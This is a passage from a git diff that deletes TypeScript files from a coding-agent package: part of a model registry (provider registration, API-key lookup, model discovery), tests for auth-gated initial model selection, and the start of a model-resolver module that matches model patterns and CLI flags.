sticky credential selection - */ - async getApiKey( - model: Model, - sessionId?: string, - ): Promise { - const authMode = this.getProviderAuthMode(model.provider); - if (authMode === "externalCli" || authMode === "none") return undefined; - return this.authStorage.getApiKey(model.provider, sessionId, { - baseUrl: model.baseUrl, - }); - } - - /** - * Get API key for a provider. - * Returns undefined for externalCli/none providers (no key needed). - * @param sessionId - Optional session ID for sticky credential selection - */ - async getApiKeyForProvider( - provider: string, - sessionId?: string, - ): Promise { - const authMode = this.getProviderAuthMode(provider); - if (authMode === "externalCli" || authMode === "none") return undefined; - return this.authStorage.getApiKey(provider, sessionId); - } - - /** - * Check if a model is using OAuth credentials (subscription). - */ - isUsingOAuth(model: Model): boolean { - const cred = this.authStorage.get(model.provider); - return cred?.type === "oauth"; - } - - /** - * Register a provider dynamically (from extensions). - * - * If provider has models: replaces all existing models for this provider. - * If provider has only baseUrl/headers: overrides existing models' URLs. - * If provider has oauth: registers OAuth provider for /login support. - */ - registerProvider(providerName: string, config: ProviderConfigInput): void { - this.registeredProviders.set(providerName, config); - this.applyProviderConfig(providerName, config); - } - - /** - * Unregister a previously registered provider. - * - * Removes the provider from the registry and reloads models from disk so that - * built-in models overridden by this provider are restored to their original state. - * Also resets dynamic OAuth and API stream registrations before reapplying - * remaining dynamic providers. - * Has no effect if the provider was never registered. - */ - unregisterProvider(providerName: string): void { - if (!this.registeredProviders.has(providerName)) return; - this.registeredProviders.delete(providerName); - this.customProviderApiKeys.delete(providerName); - this.refresh(); - } - - private applyProviderConfig( - providerName: string, - config: ProviderConfigInput, - ): void { - // Register OAuth provider if provided - if (config.oauth) { - // Ensure the OAuth provider ID matches the provider name - const oauthProvider: OAuthProviderInterface = { - ...config.oauth, - id: providerName, - }; - registerOAuthProvider(oauthProvider); - } - - if (config.streamSimple) { - if (!config.api) { - throw new Error( - `Provider ${providerName}: "api" is required when registering streamSimple.`, - ); - } - const rawStreamSimple = config.streamSimple; - const authMode = config.authMode ?? "apiKey"; - - // Keyless providers never see apiKey in options — enforced at registration, - // not by convention. Prevents undefined from reaching any handler. - const streamSimple = - authMode === "externalCli" || authMode === "none" - ? ( - model: Model, - context: Context, - options?: SimpleStreamOptions, - ) => { - const { apiKey: _, ...opts } = options ?? {}; - return rawStreamSimple( - model, - context, - opts as SimpleStreamOptions, - ); - } - : rawStreamSimple; - - // Guard: if there's already a handler registered for this API, wrap - // the new one so it only fires for models from this provider and - // delegates to the previous handler for all other providers. Without - // this, a custom provider using api:"anthropic-messages" would clobber - // the built-in Anthropic stream handler (#2536). - const existingProvider = getApiProvider(config.api as Api); - const scopedStream = existingProvider - ? ( - model: Model, - context: Context, - options?: SimpleStreamOptions, - ): AssistantMessageEventStream => { - if (model.provider === providerName) { - return streamSimple(model, context, options); - } - return existingProvider.streamSimple(model, context, options); - } - : streamSimple; - - const newFullStream = ( - model: Model, - context: Context, - options?: SimpleStreamOptions, - ) => scopedStream(model, context, options as SimpleStreamOptions); - const scopedFullStream = existingProvider - ? ( - model: Model, - context: Context, - options?: Record, - ) => { - if (model.provider === providerName) { - return newFullStream( - model, - context, - options as SimpleStreamOptions, - ); - } - return existingProvider.stream(model, context, options); - } - : newFullStream; - - registerApiProvider( - { - api: config.api, - stream: scopedFullStream as any, - streamSimple: scopedStream, - }, - `provider:${providerName}`, - ); - } - - // Store API key for auth resolution - if (config.apiKey) { - this.customProviderApiKeys.set(providerName, config.apiKey); - } - - if (config.models && config.models.length > 0) { - // Full replacement: remove existing models for this provider - this.models = this.models.filter((m) => m.provider !== providerName); - - // Validate required fields - if (!config.baseUrl) { - throw new Error( - `Provider ${providerName}: "baseUrl" is required when defining models.`, - ); - } - const authMode = - config.authMode ?? - (config.oauth ? "oauth" : config.apiKey ? "apiKey" : "apiKey"); - if (authMode === "apiKey" && !config.apiKey && !config.oauth) { - throw new Error( - `Provider ${providerName}: "apiKey" or "oauth" is required when authMode is "apiKey" (the default). ` + - `Set authMode to "externalCli" or "none" for keyless providers.`, - ); - } - if ( - (authMode === "externalCli" || authMode === "none") && - !config.streamSimple - ) { - throw new Error( - `Provider ${providerName}: "streamSimple" is required when authMode is "${authMode}". ` + - `Keyless providers must supply their own stream handler.`, - ); - } - if ( - (authMode === "externalCli" || authMode === "none") && - config.apiKey - ) { - throw new Error( - `Provider ${providerName}: "apiKey" cannot be set when authMode is "${authMode}". ` + - `Keyless providers should not provide API key credentials.`, - ); - } - - // Parse and add new models - for (const modelDef of config.models) { - const api = modelDef.api || config.api; - if (!api) { - throw new Error( - `Provider ${providerName}, model ${modelDef.id}: no "api" specified.`, - ); - } - - // Merge headers - const providerHeaders = resolveHeaders(config.headers); - const modelHeaders = resolveHeaders(modelDef.headers); - let headers = - providerHeaders || modelHeaders - ? { ...providerHeaders, ...modelHeaders } - : undefined; - - // If authHeader is true, add Authorization header - if (config.authHeader && config.apiKey) { - const resolvedKey = resolveConfigValue(config.apiKey); - if (resolvedKey) { - headers = { ...headers, Authorization: `Bearer ${resolvedKey}` }; - } - } - - this.models.push({ - id: modelDef.id, - name: modelDef.name, - api: api as Api, - provider: providerName, - baseUrl: config.baseUrl, - reasoning: modelDef.reasoning, - input: modelDef.input as ("text" | "image")[], - cost: modelDef.cost, - contextWindow: modelDef.contextWindow, - maxTokens: modelDef.maxTokens, - headers, - compat: modelDef.compat, - providerOptions: modelDef.providerOptions, - } as Model); - } - - // Apply OAuth modifyModels if credentials exist (e.g., to update baseUrl) - if (config.oauth?.modifyModels) { - const cred = this.authStorage.get(providerName); - if (cred?.type === "oauth") { - this.models = config.oauth.modifyModels(this.models, cred); - } - } - - // Ensure newly added extension models get capability patches - this.models = applyCapabilityPatches(this.models); - } else if (config.baseUrl) { - // Override-only: update baseUrl/headers for existing models - const resolvedHeaders = resolveHeaders(config.headers); - this.models = this.models.map((m) => { - if (m.provider !== providerName) return m; - return { - ...m, - baseUrl: config.baseUrl ?? m.baseUrl, - headers: resolvedHeaders - ? { ...m.headers, ...resolvedHeaders } - : m.headers, - }; - }); - } - } - - private buildCandidateOrder( - modelId: string, - overrides: Record, - ): string[] { - const overrideEntry = Object.entries(overrides).find(([k]) => - modelId.startsWith(k), - ); - const familyEntry = PROXY_FAMILY_PRIORITY.find((r) => - r.match.test(modelId), - ); - // Order: direct family providers → family-scoped failover → global fallback. - // Overrides replace only the direct list while preserving the family's - // explicit failover/containment policy. - const familyProviders = overrideEntry?.[1] ?? familyEntry?.providers ?? []; - const familyFailover = familyEntry?.family_failover ?? []; - const seen = new Set([...familyProviders, ...familyFailover]); - const globalFallback = - familyEntry?.global_fallback === false - ? [] - : GLOBAL_PROVIDER_FALLBACK.filter((p) => !seen.has(p)); - return [...familyProviders, ...familyFailover, ...globalFallback]; - } - - /** - * Return all registered candidates for a bare model ID, ordered by family + global priority. - * Candidates with auth configured are placed first within the same priority tier. - * The proxy server iterates this list and falls through to the next entry on 429. - */ - getModelsForProxy( - modelId: string, - overrides: Record = {}, - providerModelAllow?: ProviderModelAllowList, - ): Model[] { - const order = this.buildCandidateOrder(modelId, overrides); - const hasScopedProviderOrder = - Object.entries(overrides).some(([k]) => modelId.startsWith(k)) || - PROXY_FAMILY_PRIORITY.some((r) => r.match.test(modelId)); - const allowedProviders = - hasScopedProviderOrder && order.length > 0 ? new Set(order) : undefined; - const candidates = this.filterProviderModelAllow( - this.getAllWithDiscovered().filter( - (m) => - m.id === modelId && - (!allowedProviders || allowedProviders.has(m.provider)), - ), - providerModelAllow, - ); - if (candidates.length === 0) return []; - - const sorted = [...candidates].sort((a, b) => { - const pa = order.indexOf(a.provider); - const pb = order.indexOf(b.provider); - return (pa === -1 ? Infinity : pa) - (pb === -1 ? Infinity : pb); - }); - - const withAuth = sorted.filter((m) => - this.isProviderRequestReady(m.provider), - ); - const withoutAuth = sorted.filter( - (m) => !this.isProviderRequestReady(m.provider), - ); - return [...withAuth, ...withoutAuth]; - } - - /** - * Resolve a bare model ID to the single highest-priority candidate. - * Convenience wrapper over getModelsForProxy for callers that don't need retry. - */ - getModel( - modelId: string, - overrides: Record = {}, - providerModelAllow?: ProviderModelAllowList, - ): Model | undefined { - return this.getModelsForProxy(modelId, overrides, providerModelAllow)[0]; - } - - /** - * Discover models from all providers that support discovery. - * Results are cached and merged into the registry (never overrides existing models). - */ - async discoverModels(providers?: string[]): Promise { - const targetProviders = providers ?? getDiscoverableProviders(); - const results: DiscoveryResult[] = []; - - for (const providerName of targetProviders) { - const adapter = getDiscoveryAdapter(providerName); - if (!adapter.supportsDiscovery) continue; - - // Skip if cache is still fresh - if (!this.discoveryCache.isStale(providerName)) { - const cached = this.discoveryCache.get(providerName); - if (cached) { - results.push({ - provider: providerName, - sourceType: adapter.sourceType ?? "provider", - models: cached.models, - fetchedAt: cached.fetchedAt, - }); - continue; - } - } - - try { - const apiKey = await this.authStorage.getApiKey(providerName); - if ( - !apiKey && - !this.isProviderRequestReady(providerName) && - adapter.requiresAuthForDiscovery !== false - ) - continue; - - const models = await adapter.fetchModels(apiKey ?? "", undefined); - this.discoveryCache.set(providerName, models); - results.push({ - provider: providerName, - sourceType: adapter.sourceType ?? "provider", - models, - fetchedAt: Date.now(), - }); - } catch (error) { - results.push({ - provider: providerName, - sourceType: adapter.sourceType ?? "provider", - models: [], - fetchedAt: Date.now(), - error: error instanceof Error ? error.message : String(error), - }); - } - } - - // Convert and merge discovered models, then apply capability patches - this.discoveredModels = applyCapabilityPatches( - this.convertDiscoveredModels(results), - ); - return results; - } - - /** - * Discover models from catalog sources such as Singularity Memory. - * Catalog sources are not AI providers; discovered rows are materialized - * under their execution provider from catalog metadata. - */ - async discoverModelCatalogs(sources?: string[]): Promise { - return this.discoverModels(sources ?? getDiscoverableCatalogSources()); - } - - /** - * Get all models including discovered ones. - * Discovered models are appended but never override existing models. - */ - getAllWithDiscovered(): Model[] { - const existingIds = new Set( - this.models.map((m) => `${m.provider}/${m.id}`), - ); - const unique = this.discoveredModels.filter( - (m) => !existingIds.has(`${m.provider}/${m.id}`), - ); - return this.filterProviderModelAllow([...this.models, ...unique]); - } - - /** - * Return only models from the most recent discovery pass. - * - * Purpose: let diagnostic list commands replace stale static rows for live-listed - * providers with the provider's actual `/models` response. - * Consumer: cli/list-models.ts when `--discover` or an exact provider query is used. - */ - getDiscoveredModels( - providerModelAllow?: ProviderModelAllowList, - ): Model[] { - return this.filterProviderModelAllow( - this.discoveredModels, - providerModelAllow, - ); - } - - /** - * Check if a model was added via discovery (not built-in or custom). - */ - isDiscovered(model: Model): boolean { - return this.discoveredModels.some( - (m) => m.provider === model.provider && m.id === model.id, - ); - } - - /** - * Get the discovery cache instance. - */ - getDiscoveryCache(): ModelDiscoveryCache { - return this.discoveryCache; - } - - /** - * Convert DiscoveryResult[] into Model[] with default values. - */ - private convertDiscoveredModels(results: DiscoveryResult[]): Model[] { - const converted: Model[] = []; - const seen = new Set(); - for (const result of results) { - if (result.error) continue; - for (const dm of result.models) { - const provider = dm.provider ?? result.provider; - const key = `${provider}/${dm.id}`; - if (seen.has(key)) continue; - seen.add(key); - const known = this.models.find( - (m) => m.provider === provider && m.id === dm.id, - ); - const discoveredName = - dm.name && dm.name !== dm.id ? dm.name : undefined; - converted.push({ - ...known, - id: dm.id, - name: discoveredName ?? known?.name ?? dm.id, - api: (dm.api ?? known?.api ?? "openai") as Api, - provider, - baseUrl: dm.baseUrl ?? known?.baseUrl ?? "", - reasoning: dm.reasoning ?? known?.reasoning ?? false, - input: dm.input ?? known?.input ?? ["text"], - cost: dm.cost ?? - known?.cost ?? { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: dm.contextWindow ?? known?.contextWindow ?? 128000, - maxTokens: dm.maxTokens ?? known?.maxTokens ?? 16384, - } as Model); - } - } - return converted; - } - - /** - * Check if a model's baseUrl points to a local endpoint. - * Delegates to standalone isLocalModel() function. - */ - static isLocalModel(model: Model): boolean { - return isLocalModel(model); - } - - /** - * Check if all models in the registry are local. - * Returns true only if every model passes isLocalModel(). - * Returns false if there are no models. - */ - isAllLocalChain(): boolean { - const models = this.getAll(); - if (models.length === 0) return false; - return models.every((m) => isLocalModel(m)); - } -} - -/** - * Input type for registerProvider API. - */ -export interface ProviderConfigInput { - authMode?: ProviderAuthMode; - /** Optional readiness check. Called by isProviderRequestReady() before default auth checks. - * Trusted at the same level as extension code — extensions already have arbitrary code execution. */ - isReady?: () => boolean; - baseUrl?: string; - apiKey?: string; - api?: Api; - streamSimple?: ( - model: Model, - context: Context, - options?: SimpleStreamOptions, - ) => AssistantMessageEventStream; - headers?: Record; - authHeader?: boolean; - /** OAuth provider for /login support */ - oauth?: Omit; - models?: Array<{ - id: string; - name: string; - api?: Api; - baseUrl?: string; - reasoning: boolean; - input: ("text" | "image")[]; - cost: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - }; - contextWindow: number; - maxTokens: number; - headers?: Record; - compat?: Model["compat"]; - providerOptions?: Record; - }>; -} diff --git a/packages/pi-coding-agent/src/core/model-resolver-initial-model-auth.test.ts b/packages/pi-coding-agent/src/core/model-resolver-initial-model-auth.test.ts deleted file mode 100644 index dfd5057cc..000000000 --- a/packages/pi-coding-agent/src/core/model-resolver-initial-model-auth.test.ts +++ /dev/null @@ -1,79 +0,0 @@ -import assert from "node:assert/strict"; -import type { Api, Model } from "@singularity-forge/pi-ai"; -import { describe, it } from "vitest"; -import type { ModelRegistry } from "./model-registry.js"; -import { findInitialModel } from "./model-resolver.js"; - -function makeModel(provider: string, id: string): Model { - return { - id, - name: id, - provider, - api: "openai-responses", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 8192, - } as Model; -} - -function makeRegistry(opts: { - readyProviders?: Set; - byProviderAndId?: Map>; - available?: Model[]; -}): ModelRegistry { - const readyProviders = opts.readyProviders ?? new Set(); - const byProviderAndId = opts.byProviderAndId ?? new Map>(); - const available = opts.available ?? []; - - return { - find: (provider: string, modelId: string) => - byProviderAndId.get(`${provider}/${modelId}`), - getAvailable: async () => available, - isProviderRequestReady: (provider: string) => readyProviders.has(provider), - } as unknown as ModelRegistry; -} - -describe("findInitialModel auth gating for saved defaults", () => { - it("uses saved default when provider is request-ready", async () => { - const saved = makeModel("anthropic", "claude-opus-4-6"); - const registry = makeRegistry({ - readyProviders: new Set(["anthropic"]), - byProviderAndId: new Map([[`anthropic/claude-opus-4-6`, saved]]), - available: [saved], - }); - - const result = await findInitialModel({ - scopedModels: [], - isContinuing: false, - defaultProvider: "anthropic", - defaultModelId: "claude-opus-4-6", - modelRegistry: registry, - }); - - assert.equal(result.model?.provider, "anthropic"); - assert.equal(result.model?.id, "claude-opus-4-6"); - }); - - it("skips saved default when provider is not request-ready and falls back to available", async () => { - const staleDefault = makeModel("anthropic", "claude-opus-4-6"); - const fallback = makeModel("openai", "gpt-5.4"); - const registry = makeRegistry({ - readyProviders: new Set(["openai"]), - byProviderAndId: new Map([[`anthropic/claude-opus-4-6`, staleDefault]]), - available: [fallback], - }); - - const result = await findInitialModel({ - scopedModels: [], - isContinuing: false, - defaultProvider: "anthropic", - defaultModelId: "claude-opus-4-6", - modelRegistry: registry, - }); - - assert.equal(result.model?.provider, "openai"); - assert.equal(result.model?.id, "gpt-5.4"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/model-resolver.test.ts b/packages/pi-coding-agent/src/core/model-resolver.test.ts deleted file mode 100644 index 4fe7bbf19..000000000 --- a/packages/pi-coding-agent/src/core/model-resolver.test.ts +++ /dev/null @@ -1,91 +0,0 @@ -/** - * Regression test for the #unconfigured-models fix: findInitialModel() must - * skip the saved default when its provider has no working auth, rather than - * returning an unusable model that every selector surface would display as - * "current". - */ - -import assert from "node:assert/strict"; -import { test } from "vitest"; -import { findInitialModel } from "./model-resolver.js"; - -function fakeRegistry(options: { - models: Array<{ provider: string; id: string }>; - readyProviders: Set; -}) { - const fullModels = options.models.map((m) => ({ - ...m, - name: m.id, - api: "anthropic-messages", - baseUrl: "", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128_000, - maxTokens: 4096, - })); - const available = fullModels.filter((m) => - options.readyProviders.has(m.provider), - ); - return { - find(provider: string, id: string) { - return fullModels.find((m) => m.provider === provider && m.id === id); - }, - getAvailable() { - return available; - }, - isProviderRequestReady(provider: string) { - return options.readyProviders.has(provider); - }, - }; -} - -test("findInitialModel skips saved default when provider has no auth", async () => { - // User saved xai/grok-4 as default, but XAI_API_KEY is unset so xai is - // in the registry but not ready. Previously findInitialModel() step 3 - // returned xai anyway — now it must fall through to step 4 and pick - // an available model. - const registry = fakeRegistry({ - models: [ - { provider: "xai", id: "grok-4-fast-non-reasoning" }, - { provider: "anthropic", id: "claude-opus-4-6" }, - ], - readyProviders: new Set(["anthropic"]), - }); - - const result = await findInitialModel({ - scopedModels: [], - isContinuing: false, - defaultProvider: "xai", - defaultModelId: "grok-4-fast-non-reasoning", - modelRegistry: registry as any, - }); - - assert.ok(result.model, "a model must be returned"); - assert.equal( - result.model!.provider, - "anthropic", - "unauth'd saved default must be skipped", - ); -}); - -test("findInitialModel keeps saved default when provider has auth", async () => { - const registry = fakeRegistry({ - models: [ - { provider: "anthropic", id: "claude-opus-4-6" }, - { provider: "openai", id: "gpt-5.4" }, - ], - readyProviders: new Set(["anthropic", "openai"]), - }); - - const result = await findInitialModel({ - scopedModels: [], - isContinuing: false, - defaultProvider: "openai", - defaultModelId: "gpt-5.4", - modelRegistry: registry as any, - }); - - assert.equal(result.model?.provider, "openai"); - assert.equal(result.model?.id, "gpt-5.4"); -}); diff --git a/packages/pi-coding-agent/src/core/model-resolver.ts b/packages/pi-coding-agent/src/core/model-resolver.ts deleted file mode 100644 index 49e00219e..000000000 --- a/packages/pi-coding-agent/src/core/model-resolver.ts +++ /dev/null @@ -1,601 +0,0 @@ -/** - * Model resolution, scoping, and initial selection - */ - -import type { ThinkingLevel } from "@singularity-forge/pi-agent-core"; -import { type Api, type Model, modelsAreEqual } from "@singularity-forge/pi-ai"; -import chalk from "chalk"; -import { minimatch } from "minimatch"; -import { isValidThinkingLevel } from "../cli/args.js"; -import { DEFAULT_THINKING_LEVEL } from "./defaults.js"; -import type { ModelRegistry } from "./model-registry.js"; - -export interface ScopedModel { - model: Model; - /** Thinking level if explicitly specified in pattern (e.g., "model:high"), undefined otherwise */ - thinkingLevel?: ThinkingLevel; -} - -/** - * Helper to check if a model ID looks like an alias (no date suffix) - * Dates are typically in format: -20241022 or -20250929 - */ -function isAlias(id: string): boolean { - // Check if ID ends with -latest - if (id.endsWith("-latest")) return true; - - // Check if ID ends with a date pattern (-YYYYMMDD) - const datePattern = /-\d{8}$/; - return !datePattern.test(id); -} - -/** - * Try to match a pattern to a model from the available models list. - * Returns the matched model or undefined if no match found. - */ -function tryMatchModel( - modelPattern: string, - availableModels: Model[], -): Model | undefined { - // Check for provider/modelId format (provider is everything before the first /) - const slashIndex = modelPattern.indexOf("/"); - if (slashIndex !== -1) { - const provider = modelPattern.substring(0, slashIndex); - const modelId = modelPattern.substring(slashIndex + 1); - const providerMatch = availableModels.find( - (m) => - m.provider.toLowerCase() === provider.toLowerCase() && - m.id.toLowerCase() === modelId.toLowerCase(), - ); - if (providerMatch) { - return providerMatch; - } - // No exact provider/model match - fall through to other matching - } - - // Check for exact ID match (case-insensitive) - const exactMatch = availableModels.find( - (m) => m.id.toLowerCase() === modelPattern.toLowerCase(), - ); - if (exactMatch) { - return exactMatch; - } - - // No exact match - fall back to partial matching - const matches = availableModels.filter( - (m) => - m.id.toLowerCase().includes(modelPattern.toLowerCase()) || - m.name?.toLowerCase().includes(modelPattern.toLowerCase()), - ); - - if (matches.length === 0) { - return undefined; - } - - // Separate into aliases and dated versions - const aliases = matches.filter((m) => isAlias(m.id)); - const datedVersions = matches.filter((m) => !isAlias(m.id)); - - if (aliases.length > 0) { - // Prefer alias - if multiple aliases, pick the one that sorts highest - aliases.sort((a, b) => b.id.localeCompare(a.id)); - return aliases[0]; - } else { - // No alias found, pick latest dated version - datedVersions.sort((a, b) => b.id.localeCompare(a.id)); - return datedVersions[0]; - } -} - -export interface ParsedModelResult { - model: Model | undefined; - /** Thinking level if explicitly specified in pattern, undefined otherwise */ - thinkingLevel?: ThinkingLevel; - warning: string | undefined; -} - -function buildFallbackModel( - provider: string, - modelId: string, - availableModels: Model[], -): Model | undefined { - const providerModels = availableModels.filter((m) => m.provider === provider); - if (providerModels.length === 0) return undefined; - - // Use the first available model from this provider as a template for - // capabilities (context window, reasoning support, etc.). The user is - // explicitly providing a custom model id, so we just need any shape of - // model from the same provider to inherit from. - const baseModel = providerModels[0]; - - return { - ...baseModel, - id: modelId, - name: modelId, - }; -} - -/** - * Parse a pattern to extract model and thinking level. - * Handles models with colons in their IDs (e.g., OpenRouter's :exacto suffix). - * - * Algorithm: - * 1. Try to match full pattern as a model - * 2. If found, return it with "off" thinking level - * 3. If not found and has colons, split on last colon: - * - If suffix is valid thinking level, use it and recurse on prefix - * - If suffix is invalid, warn and recurse on prefix with "off" - * - * @internal - */ -function parseModelPattern( - pattern: string, - availableModels: Model[], - options?: { allowInvalidThinkingLevelFallback?: boolean }, -): ParsedModelResult { - // Try exact match first - const exactMatch = tryMatchModel(pattern, availableModels); - if (exactMatch) { - return { model: exactMatch, thinkingLevel: undefined, warning: undefined }; - } - - // No match - try splitting on last colon if present - const lastColonIndex = pattern.lastIndexOf(":"); - if (lastColonIndex === -1) { - // No colons, pattern simply doesn't match any model - return { model: undefined, thinkingLevel: undefined, warning: undefined }; - } - - const prefix = pattern.substring(0, lastColonIndex); - const suffix = pattern.substring(lastColonIndex + 1); - - if (isValidThinkingLevel(suffix)) { - // Valid thinking level - recurse on prefix and use this level - const result = parseModelPattern(prefix, availableModels, options); - if (result.model) { - // Only use this thinking level if no warning from inner recursion - return { - model: result.model, - thinkingLevel: result.warning ? undefined : suffix, - warning: result.warning, - }; - } - return result; - } else { - // Invalid suffix - const allowFallback = options?.allowInvalidThinkingLevelFallback ?? true; - if (!allowFallback) { - // In strict mode (CLI --model parsing), treat it as part of the model id and fail. - // This avoids accidentally resolving to a different model. - return { model: undefined, thinkingLevel: undefined, warning: undefined }; - } - - // Scope mode: recurse on prefix and warn - const result = parseModelPattern(prefix, availableModels, options); - if (result.model) { - return { - model: result.model, - thinkingLevel: undefined, - warning: `Invalid thinking level "${suffix}" in pattern "${pattern}". Using default instead.`, - }; - } - return result; - } -} - -/** - * Resolve model patterns to actual Model objects with optional thinking levels - * Format: "pattern:level" where :level is optional - * For each pattern, finds all matching models and picks the best version: - * 1. Prefer alias (e.g., claude-sonnet-4-5) over dated versions (claude-sonnet-4-5-20250929) - * 2. If no alias, pick the latest dated version - * - * Supports models with colons in their IDs (e.g., OpenRouter's model:exacto). - * The algorithm tries to match the full pattern first, then progressively - * strips colon-suffixes to find a match. - */ -export async function resolveModelScope( - patterns: string[], - modelRegistry: ModelRegistry, -): Promise { - const availableModels = await modelRegistry.getAvailable(); - const scopedModels: ScopedModel[] = []; - - for (const pattern of patterns) { - // Try exact match first (handles model IDs containing glob chars like [1m]) - const exactResult = parseModelPattern(pattern, availableModels); - if (exactResult.model) { - if (exactResult.warning) { - console.warn(chalk.yellow(`Warning: ${exactResult.warning}`)); - } - if ( - !scopedModels.find((sm) => modelsAreEqual(sm.model, exactResult.model!)) - ) { - scopedModels.push({ - model: exactResult.model, - thinkingLevel: exactResult.thinkingLevel, - }); - } - continue; - } - - // Check if pattern contains glob characters - if ( - pattern.includes("*") || - pattern.includes("?") || - pattern.includes("[") - ) { - // Extract optional thinking level suffix (e.g., "provider/*:high") - const colonIdx = pattern.lastIndexOf(":"); - let globPattern = pattern; - let thinkingLevel: ThinkingLevel | undefined; - - if (colonIdx !== -1) { - const suffix = pattern.substring(colonIdx + 1); - if (isValidThinkingLevel(suffix)) { - thinkingLevel = suffix; - globPattern = pattern.substring(0, colonIdx); - } - } - - // Match against "provider/modelId" format OR just model ID - // This allows "*sonnet*" to match without requiring "anthropic/*sonnet*" - const matchingModels = availableModels.filter((m) => { - const fullId = `${m.provider}/${m.id}`; - return ( - minimatch(fullId, globPattern, { nocase: true }) || - minimatch(m.id, globPattern, { nocase: true }) - ); - }); - - if (matchingModels.length === 0) { - console.warn( - chalk.yellow(`Warning: No models match pattern "${pattern}"`), - ); - continue; - } - - for (const model of matchingModels) { - if (!scopedModels.find((sm) => modelsAreEqual(sm.model, model))) { - scopedModels.push({ model, thinkingLevel }); - } - } - continue; - } - - const { model, thinkingLevel, warning } = parseModelPattern( - pattern, - availableModels, - ); - - if (warning) { - console.warn(chalk.yellow(`Warning: ${warning}`)); - } - - if (!model) { - console.warn( - chalk.yellow(`Warning: No models match pattern "${pattern}"`), - ); - continue; - } - - // Avoid duplicates - if (!scopedModels.find((sm) => modelsAreEqual(sm.model, model))) { - scopedModels.push({ model, thinkingLevel }); - } - } - - return scopedModels; -} - -export interface ResolveCliModelResult { - model: Model | undefined; - thinkingLevel?: ThinkingLevel; - warning: string | undefined; - /** - * Error message suitable for CLI display. - * When set, model will be undefined. - */ - error: string | undefined; -} - -/** - * Resolve a single model from CLI flags. - * - * Supports: - * - --provider --model - * - --model / - * - Fuzzy matching (same rules as model scoping: exact id, then partial id/name) - * - * Note: This does not apply the thinking level by itself, but it may *parse* and - * return a thinking level from ":" so the caller can apply it. - */ -export function resolveCliModel(options: { - cliProvider?: string; - cliModel?: string; - modelRegistry: ModelRegistry; -}): ResolveCliModelResult { - const { cliProvider, cliModel, modelRegistry } = options; - - if (!cliModel) { - return { model: undefined, warning: undefined, error: undefined }; - } - - // Important: use *all* models here, not just models with pre-configured auth. - // This allows "--api-key" to be used for first-time setup. - const availableModels = modelRegistry.getAll(); - if (availableModels.length === 0) { - return { - model: undefined, - warning: undefined, - error: - "No models available. Check your installation or add models to models.json.", - }; - } - - // Build canonical provider lookup (case-insensitive) - const providerMap = new Map(); - for (const m of availableModels) { - providerMap.set(m.provider.toLowerCase(), m.provider); - } - - let provider = cliProvider - ? providerMap.get(cliProvider.toLowerCase()) - : undefined; - if (cliProvider && !provider) { - return { - model: undefined, - warning: undefined, - error: `Unknown provider "${cliProvider}". Use --list-models to see available providers/models.`, - }; - } - - // If no explicit --provider, try to interpret "provider/model" format first. - // When the prefix before the first slash matches a known provider, prefer that - // interpretation over matching models whose IDs literally contain slashes - // (e.g. "zai/glm-5" should resolve to provider=zai, model=glm-5, not to a - // vercel-ai-gateway model with id "zai/glm-5"). - let pattern = cliModel; - let inferredProvider = false; - - if (!provider) { - const slashIndex = cliModel.indexOf("/"); - if (slashIndex !== -1) { - const maybeProvider = cliModel.substring(0, slashIndex); - const canonical = providerMap.get(maybeProvider.toLowerCase()); - if (canonical) { - provider = canonical; - pattern = cliModel.substring(slashIndex + 1); - inferredProvider = true; - } - } - } - - // If no provider was inferred from the slash, try exact matches without provider inference. - // This handles models whose IDs naturally contain slashes (e.g. OpenRouter-style IDs). - if (!provider) { - const lower = cliModel.toLowerCase(); - const exact = availableModels.find( - (m) => - m.id.toLowerCase() === lower || - `${m.provider}/${m.id}`.toLowerCase() === lower, - ); - if (exact) { - return { - model: exact, - warning: undefined, - thinkingLevel: undefined, - error: undefined, - }; - } - } - - if (cliProvider && provider) { - // If both were provided, tolerate --model / by stripping the provider prefix - const prefix = `${provider}/`; - if (cliModel.toLowerCase().startsWith(prefix.toLowerCase())) { - pattern = cliModel.substring(prefix.length); - } - } - - const candidates = provider - ? availableModels.filter((m) => m.provider === provider) - : availableModels; - const { model, thinkingLevel, warning } = parseModelPattern( - pattern, - candidates, - { - allowInvalidThinkingLevelFallback: false, - }, - ); - - if (model) { - return { model, thinkingLevel, warning, error: undefined }; - } - - // If we inferred a provider from the slash but found no match within that provider, - // fall back to matching the full input as a raw model id across all models. - // This handles OpenRouter-style IDs like "openai/gpt-4o:extended" where "openai" - // looks like a provider but the full string is actually a model id on openrouter. - if (inferredProvider) { - const lower = cliModel.toLowerCase(); - const exact = availableModels.find( - (m) => - m.id.toLowerCase() === lower || - `${m.provider}/${m.id}`.toLowerCase() === lower, - ); - if (exact) { - return { - model: exact, - warning: undefined, - thinkingLevel: undefined, - error: undefined, - }; - } - // Also try parseModelPattern on the full input against all models - const fallback = parseModelPattern(cliModel, availableModels, { - allowInvalidThinkingLevelFallback: false, - }); - if (fallback.model) { - return { - model: fallback.model, - thinkingLevel: fallback.thinkingLevel, - warning: fallback.warning, - error: undefined, - }; - } - } - - if (provider) { - const fallbackModel = buildFallbackModel( - provider, - pattern, - availableModels, - ); - if (fallbackModel) { - const fallbackWarning = warning - ? `${warning} Model "${pattern}" not found for provider "${provider}". Using custom model id.` - : `Model "${pattern}" not found for provider "${provider}". Using custom model id.`; - return { - model: fallbackModel, - thinkingLevel: undefined, - warning: fallbackWarning, - error: undefined, - }; - } - } - - const display = provider ? `${provider}/${pattern}` : cliModel; - return { - model: undefined, - thinkingLevel: undefined, - warning, - error: `Model "${display}" not found. Use --list-models to see available models.`, - }; -} - -export interface InitialModelResult { - model: Model | undefined; - thinkingLevel: ThinkingLevel; - fallbackMessage: string | undefined; -} - -/** - * Find the initial model to use based on priority: - * 1. CLI args (provider + model) - * 2. First model from scoped models (if not continuing/resuming) - * 3. Restored from session (if continuing/resuming) - * 4. Saved default from settings - * 5. First available model with valid API key - */ -export async function findInitialModel(options: { - cliProvider?: string; - cliModel?: string; - scopedModels: ScopedModel[]; - isContinuing: boolean; - defaultProvider?: string; - defaultModelId?: string; - defaultThinkingLevel?: ThinkingLevel; - modelRegistry: ModelRegistry; -}): Promise { - const { - cliProvider, - cliModel, - scopedModels, - isContinuing, - 